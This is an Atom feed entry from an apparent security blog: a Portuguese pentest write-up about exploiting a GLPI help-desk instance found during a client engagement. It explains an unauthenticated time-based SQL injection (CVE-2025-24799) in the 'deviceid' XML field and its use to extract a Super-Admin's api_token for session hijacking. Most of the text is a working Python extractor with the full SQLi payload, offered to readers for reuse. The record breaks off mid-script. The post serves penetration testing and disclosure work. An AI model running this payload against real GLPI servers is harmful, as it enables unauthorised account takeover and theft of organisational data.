<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
    <title>dsm&#x27;s blog - pentest</title>
    <subtitle>Writing on security and technology.</subtitle>
    <link rel="self" type="application/atom+xml" href="https://larper.me/tags/pentest/atom.xml"/>
    <link rel="alternate" type="text/html" href="https://larper.me"/>
    <generator uri="https://www.getzola.org/">Zola</generator>
    <updated>2026-03-23T00:00:00+00:00</updated>
    <id>https://larper.me/tags/pentest/atom.xml</id>
    <entry xml:lang="en">
        <title>(PT-BR) GLPI, Criatividade e Pós-Exploração: O almoço grátis do pentester</title>
        <published>2026-03-23T00:00:00+00:00</published>
        <updated>2026-03-23T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              dsm
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://larper.me/blog/glpi-criatividade-e-pos-exploracao-o-almoco-gratis-do-pentester/"/>
        <id>https://larper.me/blog/glpi-criatividade-e-pos-exploracao-o-almoco-gratis-do-pentester/</id>
        
        <content type="html" xml:base="https://larper.me/blog/glpi-criatividade-e-pos-exploracao-o-almoco-gratis-do-pentester/">&lt;h2 id=&quot;inicio&quot;&gt;Início&lt;&#x2F;h2&gt;
&lt;p&gt;Durante um pentest em um grande cliente, no processo de enumeração sobre as aplicações web disponíveis, pude encontrar uma instância do GLPI pública através de uma string estática que estava armazenada em um arquivo JavaScript de uma outra aplicação Next.js. O que é mais interessante deste GLPI é que ele não pôde ser encontrado por nenhuma ferramenta de enumeração de subdomínios ou afins, então foi um grande achado.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;glpi-instance.png&quot; alt=&quot;Instância do GLPI encontrada&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;glpi-project&#x2F;glpi&quot;&gt;GLPI&lt;&#x2F;a&gt; ou &lt;em&gt;Gestionnaire Libre de Parc Informatique&lt;&#x2F;em&gt; é um software de código-aberto para gerenciamento de ativos de tecnologia e também de criação e resolução de tickets, comumente conhecido como help desk. É um projeto extremamente grande e bastante utilizado, contando com mais de 5 mil estrelas em seu projeto no GitHub.&lt;&#x2F;p&gt;
&lt;p&gt;Percebi que era uma instância do GLPI minimamente modificada, com algumas mudanças aplicadas pelo time de desenvolvimento e tecnologia desse cliente em questão. Um ponto principal que me chamou a atenção é que a aplicação estava integrada com o sistema de SSO, o que é algo bem relevante levando em consideração a possibilidade de obter dados sensíveis ligados a organização. Não tinha certeza sobre qual era a versão desse GLPI, então optei por assumir que era uma das mais recentes, ou a mais recente. No momento da escrita deste artigo, a última versão é a &lt;strong&gt;10.0.18&lt;&#x2F;strong&gt; que foi lançada em 12 de fevereiro de 2025.&lt;&#x2F;p&gt;
&lt;p&gt;Então, fui até a aba de &lt;em&gt;Releases&lt;&#x2F;em&gt; do projeto do GLPI no GitHub e olhei a changelog entre as últimas versões lançadas e duas vulnerabilidades específicas chamaram minha atenção, uma vulnerabilidade de SQL Injection desautenticado e outra de Remote Code Execution só que autenticada. Inicialmente a vulnerabilidade de SQL Injection era a mais promissora, justamente por não haver necessidade de ter alguma credencial do ambiente.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;glpi-10018-release.png&quot; alt=&quot;Release notes do GLPI 10.0.18&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Analisando &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;blog.lexfo.fr&#x2F;glpi-sql-to-rce.html&quot;&gt;o artigo publicado pela Lexfo&lt;&#x2F;a&gt;, podemos entender qual é a causa da vulnerabilidade de SQL Injection. Dentro da função &lt;strong&gt;handleAgent&lt;&#x2F;strong&gt; do arquivo &lt;strong&gt;src&#x2F;Agent.php&lt;&#x2F;strong&gt; podemos notar uma diferença entre as versões.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;10.0.17&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;changes-17.png&quot; alt=&quot;Código da versão 10.0.17&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;10.0.18&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;changes-18.png&quot; alt=&quot;Código da versão 10.0.18&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Podemos ver nas imagens acima que a função &lt;code&gt;Sanitizer::dbEscapeRecursive&lt;&#x2F;code&gt; foi removida do trecho ligado ao parâmetro &lt;strong&gt;deviceid&lt;&#x2F;strong&gt; na versão 10.0.18. O problema é que a função &lt;code&gt;Sanitizer::dbEscapeRecursive&lt;&#x2F;code&gt; suporta requisições com um conteúdo XML, mas possui uma falha fundamental em sua implementação. A função percorre arrays recursivamente e escapa strings conforme esperado. Porém, quando encontra um valor que não é nem array nem string, ela simplesmente retorna esse valor sem qualquer tratamento, fazendo com que outros objetos não sejam sanitizados.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;xml-support.png&quot; alt=&quot;Suporte a XML no GLPI&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Vale ressaltar que o endpoint &lt;code&gt;handleAgent&lt;&#x2F;code&gt; não requer credenciais para ser acessado. Isso eleva significativamente a severidade da vulnerabilidade, transformando-a em um vetor de comprometimento completo do sistema.&lt;&#x2F;p&gt;
&lt;p&gt;Com isso em mente, já podemos entender o que será necessário:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Enviar uma requisição do tipo POST ao GLPI que faça uso do &lt;strong&gt;handleXMLRequest&lt;&#x2F;strong&gt;;&lt;&#x2F;li&gt;
&lt;li&gt;Usaremos do corpo XML esperado para interação com essa função, onde o parâmetro alvo é o &lt;strong&gt;deviceid&lt;&#x2F;strong&gt; e dentro dele colocaremos um payload de SQL Injection que será encapsulado no objeto &lt;code&gt;SimpleXMLElement&lt;&#x2F;code&gt;, passando intacto pela sanitização e sendo executado no banco de dados.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;sql-injection.png&quot; alt=&quot;SQL Injection no GLPI&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Após confirmar que a instância alvo estava vulnerável, podemos presumir algumas coisas:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;A versão instalada é a 10.0.17 ou inferior;&lt;&#x2F;li&gt;
&lt;li&gt;Possivelmente a falha CVE-2025-24801 de RCE autenticado poderá funcionar;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Um SQL Injection é uma ótima falha, mas qual o problema de toda essa situação? O primeiro problema é que a exploração é baseada em tempo (&lt;em&gt;time-based SQLi&lt;&#x2F;em&gt;), o que torna um processo mais demorado, mas o problema principal mesmo é que as senhas dos usuários no GLPI que ficam armazenadas no banco de dados estão criptografadas utilizando Bcrypt, então levaria muito tempo extrair elas do banco de dados e não há qualquer garantia que eu poderia quebrá-las.&lt;&#x2F;p&gt;
&lt;p&gt;Continuando no artigo da Lexfo, notei que eles trazem a sugestão de que é possível extrair o &lt;strong&gt;api_token&lt;&#x2F;strong&gt; de um usuário e utilizar a API do GLPI para gerar um cookie de sessão válido que cede acesso à conta do usuário-alvo. Todavia, a Lexfo não aparenta ter disponibilizado como fazer isso, então precisei descobrir o formato do &lt;strong&gt;api_token&lt;&#x2F;strong&gt; e como usá-lo. O primeiro processo seria identificar se o usuário está presente no banco de dados e, se estiver, extrair esse token para utilizar a API do GLPI e obter uma sessão válida.&lt;&#x2F;p&gt;
&lt;p&gt;Analisando a documentação da API REST do GLPI, existe uma referência para o padrão do &lt;strong&gt;api_token&lt;&#x2F;strong&gt; e outras informações importantes para a construção do script. O que precisava descobrir primeiro era qual o formato desse token, seu comprimento e quais caracteres o compunham.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;docs-glpi-1.png&quot; alt=&quot;Documentação da API REST do GLPI - parte 1&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;docs-glpi-2.png&quot; alt=&quot;Documentação da API REST do GLPI - parte 2&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;glpi-project&#x2F;glpi&#x2F;blob&#x2F;main&#x2F;apirest.md#init-session&quot;&gt;API Rest GLPI&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Esse é o padrão do token, caracteres de &lt;strong&gt;a&lt;&#x2F;strong&gt; até &lt;strong&gt;Z&lt;&#x2F;strong&gt;, de &lt;strong&gt;0&lt;&#x2F;strong&gt; a &lt;strong&gt;9&lt;&#x2F;strong&gt;, tem o &lt;strong&gt;comprimento de 41 caracteres&lt;&#x2F;strong&gt; e os caracteres podem ser maiúsculos ou minúsculos.&lt;&#x2F;p&gt;
&lt;p&gt;Para testar se a teoria estava correta, voltaremos a requisição original do SQL Injection e substituiremos para o uso da função de ASCII do SQL para converter um inteiro em um caractere e enviar isso ao Intruder do Burp Suite, que percorreria do número 0 até 200 e esperaria 6 segundos caso o caractere estivesse correto.&lt;&#x2F;p&gt;
&lt;p&gt;Ao percorrer até 200, cobrimos todo o espectro de caracteres imprimíveis padrão mais uma margem de segurança para caracteres estendidos. Se o caractere na posição X tiver valor ASCII igual ao número que estamos testando, o banco executa um SLEEP de 6 segundos e o Burp detecta esse delay, revelando qual é o caractere correto. Esse processo se repete para cada posição da string que queremos extrair (senha, hash, nome de usuário, etc.), construindo a informação byte a byte através da diferença no tempo de resposta.&lt;&#x2F;p&gt;
&lt;p&gt;Um ponto que me ajudou também é que o GLPI conta com diversos usuários padrão, como o usuário &lt;strong&gt;glpi&lt;&#x2F;strong&gt; que era meu alvo justamente por ser um usuário naturalmente &lt;strong&gt;Super-Admin&lt;&#x2F;strong&gt;, e que felizmente tinha um &lt;strong&gt;api_token&lt;&#x2F;strong&gt; definido.&lt;&#x2F;p&gt;
&lt;p&gt;Com a query abaixo, coletei uma parte do &lt;strong&gt;api_token&lt;&#x2F;strong&gt; do usuário &lt;strong&gt;glpi&lt;&#x2F;strong&gt; e confirmei que seria possível prosseguir desta forma, no entanto, isso acabaria levando muito tempo, e por isso, optei por desenvolver um script Python que automatizaria este processo.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;sql-query-user-token.png&quot; alt=&quot;Query SQL para extrair o api_token do usuário&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Abaixo deixarei o código utilizado para fazer a exfiltração destes dados, onde basta especificar a URL e o nome do usuário alvo. O restante dos argumentos são opcionais e podem ser ajustados dependendo do seu contexto. Lembrando que este código foi criado apenas para a resolução momentânea desta situação, então pode ocorrer problemas ou falso-positivos na extração.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; requests&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; time&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; argparse&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; urllib3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;urllib3.disable_warnings()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; payload&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;url&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; str&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; user&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; str&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; pos&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; int&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; char_code&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; int&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; sleep_time&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; int&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; timeout&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; int&lt;&#x2F;span&gt;&lt;span&gt;) -&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; bool&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    xml&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;&amp;quot;&amp;quot;&amp;lt;?xml version=&amp;quot;1.0&amp;quot;?&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;lt;xml&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;    &amp;lt;QUERY&amp;gt;get_params&amp;lt;&#x2F;QUERY&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;    &amp;lt;deviceid&amp;gt;&amp;#39; OR IF(ASCII(SUBSTRING((SELECT api_token FROM glpi_users WHERE name=&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span&gt;user&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;#39; LIMIT 1),&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span&gt;pos&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;,1))=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span&gt;char_code&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;,SLEEP(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span&gt;sleep_time&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;),0)-- -&amp;lt;&#x2F;deviceid&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;    &amp;lt;content&amp;gt;creds&amp;lt;&#x2F;content&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;lt;&#x2F;xml&amp;gt;&amp;quot;&amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    headers&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;        &amp;quot;Content-Type&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;application&#x2F;xml&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;        &amp;quot;User-Agent&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;Mozilla&#x2F;5.0&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;        &amp;quot;Accept&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;*&#x2F;*&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;        &amp;quot;Accept-Encoding&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;gzip, deflate, br&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    start&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; time.perf_counter()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    try&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        requests.post(url,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; headers&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;headers,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; data&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;xml,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; timeout&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;timeout,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; verify&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;False&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    except&lt;&#x2F;span&gt;&lt;span&gt; requests.exceptions.Timeout:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; True&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    elapsed&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; time.perf_counter()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt; start&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span&gt; elapsed&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; &amp;gt;=&lt;&#x2F;span&gt;&lt;span&gt; sleep_time&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; main&lt;&#x2F;span&gt;&lt;span&gt;():&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    argparser&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; argparse.ArgumentParser(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;description&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;NTSLabs | Time-based SQLi extractor for GLPI api_token | CVE-2025-24799&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    argparser.add_argument(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;-u&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;--url&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;     required&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;True&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; help&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Full target URL (e.g. https:&#x2F;&#x2F;…&#x2F;)&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    argparser.add_argument(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;-n&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;--name&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;    default&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;glpi&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;   help&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Username in glpi_users to extract token for&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    argparser.add_argument(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;-s&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;--sleep&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;   type&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; default&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;  help&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Sleep time used in the payload&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
